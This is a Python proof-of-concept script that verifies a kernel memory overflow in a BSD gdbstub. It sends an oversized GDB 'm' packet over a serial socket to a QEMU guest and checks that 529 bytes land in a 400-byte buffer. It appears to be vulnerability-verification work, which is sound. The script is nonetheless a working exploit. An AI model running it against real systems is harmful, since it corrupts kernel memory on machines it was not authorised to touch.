#!/usr/bin/env python3
# exp_m_overflow.py -- DF-2362 verification (part 1): 'm' packet unbounded
# length overflows the 400-byte static remcomOutBuffer (kernel BSS write).
#
# Claim (sys/cpu/x86_64/misc/x86_64-gdbstub.c:579-594 + mem2hex:313-328):
#   mem2hex((vm_offset_t)addr, remcomOutBuffer, length) writes 2*length hex
#   chars + NUL with NO bound on `length` (hexToInt has no range check).
#   Any length > 200 corrupts kernel memory past remcomOutBuffer[400].
#
# Proof on the live guest:
#   ROut = 0xffffffff817a6f20 (nm: remcomOutBuffer), 400 bytes.
#   1. snapshot [ROut+400, ROut+400+0x110) via SAFE m packets (chunk<=192,
#      2*192+1 <= 400 so the snapshot itself stays in bounds),
#   2. send m<ROut>,108  (length 0x108 = 264 -> writes 529 bytes into a
#      400-byte buffer -> 129 bytes past the end, attacker-chosen extent),
#   3. re-read [ROut+400, ...) -> changed, every byte in [0-9a-f]
#      (the written alphabet is hexchars[]), boundary exactly at 529,
#   4. '?' sanity + 'D' detach; the smashed tail is alignment padding +
#      remcomInBuffer residue (self-healing), noted honestly.
import sys, os, time, subprocess, json
sys.path.insert(0, os.path.join(os.path.dirname(os.path.abspath(__file__))))
from rsp import SerialPeer, parse_t05

SOCK = os.environ.get("DF_SOCK", "/home/maxx/dfbsd/dfbsd/dfbsd-qemu/df236x/ser.sock")
VMSH = os.environ.get("DF_VMSH", "/home/maxx/dfbsd/dfbsd/dfbsd-qemu/vm.sh")
RAWLOG = os.environ.get("DF_RAWLOG", "/tmp/opencode/p2362m-raw.log")
ROUT = 0xffffffff817a6f20          # nm -n /boot/kernel/kernel
RIN  = 0xffffffff817a70c0

def trigger_and_handshake(p):
    print("[*] triggering stub entry (sysctl debug.enter_debugger=gdb)")
    try:
        subprocess.run([VMSH, "run_root", "sysctl -w debug.enter_debugger=gdb"],
                       timeout=8, capture_output=True)
    except subprocess.TimeoutExpired:
        print("[*] ssh blocked as expected (kernel stopped in stub)")
    m = p.wait(r"\$T[0-9a-fA-F]{2}[^#]*#[0-9a-fA-F]{2}", 25)
    if m is None:
        print("[!] no T-packet from stub"); sys.exit(2)
    t05 = parse_t05(m.group(0)[1:-3].decode())
    p.send(b"+")
    print("[+] stub up: rip=%s" % t05.get("10"))
    return t05

def main():
    results = {}
    p = SerialPeer(SOCK, RAWLOG, name="m-overflow")
    trigger_and_handshake(p)
    r = p.pkt("?"); print("[+] '?' -> %r" % r)

    N = 0x108                       # attacker length: 264 bytes
    tail_start = ROUT + 400
    before = p.read_mem(tail_start, 0x110)
    print("[*] [ROut+400, +0x510) before:\n    %s" % before.hex())

    # the overflow itself: 264-byte read -> 529-byte write into 400-byte buf
    r = p.pkt("m%x,%x" % (ROUT, N), timeout=30)
    print("[+] m<ROut>,%x reply length = %s chars (expect %d = 2*len)" %
          (N, len(r) if r else None, 2*N))
    results["m_reply_len"] = len(r) if r else -1

    after = p.read_mem(tail_start, 0x110)
    print("[*] [ROut+400, +0x510) after:\n    %s" % after.hex())
    hexset = set(b"0123456789abcdef")
    changed = sum(1 for a, b in zip(before, after) if a != b)
    allhex = all(c in hexset for c in after[:128])
    print("[%s] tail changed bytes=%d, first 128 all-hex-alphabet=%s" %
          ("+" if (changed and allhex) else "-", changed, allhex))
    # exact extent: the write is 2*264+1 = 529 bytes -> ROut[400..527] hex
    # chars, ROut[528]=NUL, ROut[529+]=untouched
    extent_ok = all(c in hexset for c in after[:128]) and \
                after[128] == 0 and after[129:137] == before[129:137]
    print("[%s] write extent ends exactly at buffer+529 (2*length+1): %s" %
          ("+" if extent_ok else "-", extent_ok))
    results["overflow_written"] = bool(changed >= 100 and allhex)
    results["extent_exact"] = bool(extent_ok)
    # adjacent-buffer collateral: remcomInBuffer starts at ROut+416
    rincoll = after[:129][16:32]
    print("[*] remcomInBuffer[0:16] (ROut+416) now: %s" % rincoll.hex())

    r = p.pkt("?")
    print("[%s] stub still responsive after overflow: '?' -> %r" % ("+" if r == "S05" else "-", r))
    results["stub_alive"] = (r == "S05")

    d = p.pkt("D")
    print("[+] detach -> %r" % d)
    p.wait(r" restarted|db: |panic", 10)
    time.sleep(2); p.pump(); p.close()
    print("[RESULT] " + json.dumps(results))
    sys.exit(0 if results["overflow_written"] and results["extent_exact"] else 1)

if __name__ == "__main__":
    main()
